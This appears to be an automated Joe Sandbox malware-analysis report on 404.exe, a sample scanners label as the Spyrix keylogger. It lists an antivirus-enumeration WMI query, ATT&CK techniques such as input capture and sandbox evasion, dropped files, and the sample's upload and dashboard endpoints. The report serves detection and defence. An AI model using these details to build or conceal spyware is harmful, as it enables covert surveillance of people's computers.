Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_0335D280 GetLocalTime,

46_2_0335D280

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_033805C8 GetVersionExA,

46_2_033805C8

Source: C:\Users\user\Desktop\404.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntivirusProduct

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00DD52B0 setsockopt,_errno,_errno,_errno,strlen,memset,strncmp,strncmp,htons,WSAGetLastError,setsockopt,WSAIoctl,WSAGetLastError,strchr,htons,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,WSAGetLastError,connect,htons,atoi,

60_2_00DD52B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	31 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	31 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	31 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	111 Registry Run Keys / Startup Folder	41 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	3 Software Packing	NTDS	57 System Information Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Modify Registry	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
404.exe	76%	ReversingLabs	ByteCode-MSIL.Keylogger.Spyrix
404.exe	75%	Virustotal		Browse
404.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-FUVBN.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-FUVBN.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-J5DND.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-J5DND.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
spyrix.net	4%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cl-e0469d03.edgecdn.ru	0%	Virustotal	Browse
filedn.com	1%	Virustotal	Browse
cdnbaynet.com	1%	Virustotal	Browse
dashboard.spyrix.com	2%	Virustotal	Browse
cdn.cdndownload.net	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
swtb-download.spyrix-sfk.com	167.114.14.168	true	false
spyrix.net	158.69.117.119	true	false	4%, Virustotal, Browse
dashboard.spyrix.com	158.69.117.119	true	false	2%, Virustotal, Browse
www.google.com	142.250.186.100	true	false	0%, Virustotal, Browse
filedn.com	23.109.93.100	true	false	1%, Virustotal, Browse
cl-e0469d03.edgecdn.ru	95.181.182.182	true	false	0%, Virustotal, Browse
cdnbaynet.com	167.114.14.170	true	false	1%, Virustotal, Browse
cdn.cdndownload.net	unknown	unknown	false	0%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://Spyrix.net/dashboard/prg-list	false
https://cdn.cdndownload.net/dashboard30/assets/Input-34212571.css	false
https://spyrix.net/dashboard/prg-actions	false
https://cdnbaynet.com/loader/link.php?prg_id=sfk	false
https://cdn.cdndownload.net/dashboard30/assets/index-1178777c.js	false
https://dashboard.spyrix.com/cdn.js	false
https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate-fd9601a7.css	false
https://dashboard.spyrix.com/login	false
https://cdn.cdndownload.net/dashboard30/assets/Nunito-Bold-765bfff4.woff2	false
https://dashboard.spyrix.com/	false
https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css	false
https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css	false
https://dashboard.spyrix.com/favicon.ico	false
https://cdn.cdndownload.net/dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js	false
https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js	false
https://cdn.cdndownload.net/dashboard30/assets/Modal.module-d62c47b8.js	false
https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s150	false
https://cdn.cdndownload.net/dashboard30/assets/en-08b2a987.js	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js	false
https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css	false
https://cdn.cdndownload.net/dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js	false

URLs from Memory and Binaries

Name	Source	Malicious
http://www.jrsoftware.org/0	404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/account/login-from-program?email=	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/account/login-from-program	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/usr/monitor/	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/libcurl/c/curl_easy_setopt.html	qrl.exe	false
https://dashboard.spyrix.com/qqS	spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	false
https://www.spyrix.com/purchase.php?prg=sfk	spkl.exe, 0000002E.00000003.2923571082.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000915000.00000040.00000001.01000000.00000014.sdmp	false
http://filedn.comd	404.exe, 00000000.00000002.2292769546.0000000002774000.00000004.00000800.00020000.00000000.sdmp	false
http://www.indyproject.org/	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3325762768.0000000004541000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/delete	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe_F	spkl.exe, 0000002E.00000002.3311541761.00000000017E2000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/oauth/request_token	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/docs/http-cookies.html#	qrl.exe	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe	curl.exe, 00000009.00000002.2351939674.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2351901344.0000000000990000.00000004.00000020.00020000.00000000.sdmp	false
http://www.spyrix.com/pro_upgrade.htm?lic=	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.app/manual/kaspersky-loader/step1	404.exe, 0000000B.00000003.2970008225.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2354454420.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2959223820.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.00000000032C7000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.0000000003240000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.app/manual/kaspersky-loader/step2	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
http://crl.certum.pl/ca.crl0:	404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/av	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:	tasklist.exe, 00000052.00000002.3168409081.0000000002D40000.00000004.00000020.00020000.00000000.sdmp	false
https://cdn.cdndownload.net/proxy/list.json	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/docs/copyright.htmlD	spkl.exe, 0000002E.00000002.3336166601.0000000007493000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3158078496.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3236653211.0000000007481000.00000004.00000020.00020000.00000000.sdmp	false
https://dashboard.actualkeylogger.com/account/login-from-program	spkl.exe	false
http://www.myspace.com/search/	spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder?	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
HTTPS://SPYRIX.NET/DASHBOARD/PRG-LIST	spkl.exe, 0000002E.00000002.3331600025.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/;	spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	false
https://www.spyrix.com	spkl.exe, 0000002E.00000003.2923571082.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000915000.00000040.00000001.01000000.00000014.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	404.exe, 00000000.00000002.2292769546.0000000002762000.00000004.00000800.00020000.00000000.sdmp	false
http://www.spyrix.com	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/oauth/access_token?SV	spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.innosetup.com/	404.exe, 0000000B.00000003.2355581301.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2355136093.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000000.2356637542.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	false
https://spyrix.net/dashboard/proxy/upload	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.spyrix.com/terms-of-use.php)	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.indyproject.org/Original	spkl.exe	false
http://spyrix.com/manual.php	spkl.exe	false
https://api-content.dropbox.com/1/files_put?	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/shares/dropbox	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
HTTPS://DASHBOARD.SPYRIX.COM/	spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/.spyrix.com/	spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files/dropbox	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/delta	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.html	spkl.exe	false
https://dashboard.spyrix.com/6s	spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files_put	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.spyrix.come	spkl.exe, 0000002E.00000002.3328914499.0000000004FE8000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.certum.pl/repository.0	404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/do	404.tmp, 0000000C.00000003.2954407338.0000000006775000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/oauth/request_token?	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/docs/sslcerts.htmlcurl	qrl.exe	false
http://rc.qzone.qq.com/qzonesoso/?search	spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/Uwas771wvshs7916gjqg62417/core.php	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3328914499.0000000004FE8000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/das	spkl.exe, 0000002E.00000003.3121046946.00000000001C7000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/metadata/sandbox	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/	404.exe, 00000000.00000002.2292769546.000000000273E000.00000004.00000800.00020000.00000000.sdmp	false
https://spyrix.net/usr/monitor/access.txt	404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.clevercontrol.com/account/user-hash-gen	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.html#registrate	spkl.exe	false
http://www.ok.ru/dk?st.cmd=searchResult	spkl.exe, 0000002E.00000003.2992503287.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	false
http://repository.certum.pl/l3.cer0	404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://html4/loose.dtd	qrl.exe	false
https://api.dropbox.com/1/oauth/access_token	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeWinsta0	curl.exe, 00000009.00000002.2351939674.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2351901344.0000000000990000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.certum.pl0.	404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	404.exe, 0000000B.00000000.2353952724.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false
https://swtb-download.s	cmd.exe, 00000003.00000002.2747206179.00000000034B3000.00000004.00000020.00020000.00000000.sdmp	false
http://neftali.clubdelphi.com/	spkl.exe, 0000002E.00000002.3284697036.0000000000929000.00000040.00000001.01000000.00000014.sdmp	false
http://www.actualkeylogger.com/help.html#registratehttp://www.spyrix.com/manual.php#registrateU	spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://filedn.com	404.exe, 00000000.00000002.2292769546.0000000002762000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/account/info?	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy?	spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/docs/http-cookies.html	qrl.exe	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
167.114.14.168	swtb-download.spyrix-sfk.com	Canada	16276	OVHFR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
158.69.117.119	spyrix.net	Canada	16276	OVHFR	false
167.114.14.170	cdnbaynet.com	Canada	16276	OVHFR	false
95.181.182.182	cl-e0469d03.edgecdn.ru	Russian Federation	200557	REGION40RU	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
23.109.93.100	filedn.com	Netherlands	7979	SERVERS-COMUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523866
Start date and time:	2024-10-02 06:09:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
